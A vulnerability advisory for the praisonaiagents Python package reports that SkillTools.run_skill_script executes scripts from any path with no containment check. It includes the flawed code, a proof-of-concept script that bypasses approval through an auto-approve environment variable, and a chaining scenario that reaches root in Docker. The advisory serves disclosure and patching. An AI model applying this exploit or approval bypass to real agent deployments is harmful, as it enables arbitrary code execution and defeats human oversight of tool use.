PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
Summary
SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.
Details
src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):
def run_skill_script(self, script_path: str, ...):
script_path = os.path.expanduser(script_path)
if not os.path.isabs(script_path):
script_path = os.path.join(self._working_directory, script_path)
script_path = os.path.abspath(script_path)
if not os.path.exists(script_path):
return f"Error: Script not found at {script_path}"
# No path traversal check, no containment validation
# Directly executes whatever is at that path:
result = subprocess.run(cmd, ...)
By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:
def _validate_path(self, filepath: str) -> str:
# ...
cwd = os.path.abspath(os.getcwd())
if os.path.commonpath([absolute, cwd]) != cwd:
raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")
SkillTools has no equivalent check.
PoC
import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools
# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")
# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
f.write("#!/bin/bash\n")
f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
f.write("echo \"USER: $(whoami)\"\n")
f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)
# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
st = SkillTools()
st._working_directory = jail # Pretend we're confined
# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
# PROOF_OF_EXPLOIT: Script executed outside jail
# USER: anushkavirgaonkar
# HOSTNAME: Anushkas-MacBook-Pro-2.local
# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)
Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.
Impact
- Arbitrary script execution: Run any script on the filesystem from any location
- Chaining with file write: Write a malicious script via
write_file(YAML-approvable as a high-risk tool), then execute it viarun_skill_script - Root-level impact in Docker: All PraisonAI Docker containers run as root (no
USERdirective), so an escaped script runs with full root privileges
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | praisonaiagents | < 1.6.78 | 1.6.78 |
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f
- https://nvd.nist.gov/vuln/detail/CVE-2026-61443
- https://nvd.nist.gov/vuln/detail/CVE-2026-62168
- https://github.com/MervinPraison/PraisonAI
- https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools
- https://pypi.org/project/praisonaiagents
- https://github.com/advisories/GHSA-c44f-37qr-gw3f
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-22, CWE-78- Platform
- Python (PyPI)
- Package
praisonaiagents- Disclosed
- 08.10.2026
- Updated
- 15.10.2026 18:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-4270 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-c44f-37qr-gw3f - CC BY 4.0
Vulnerability history: praisonaiagents
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 50
- First → latest
- 04.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 27
- Medium 13
Disclosures per year
- 2026: 50
-
PraisonAI: SkillTools Executes Scripts Without Path Containment Validation this entry
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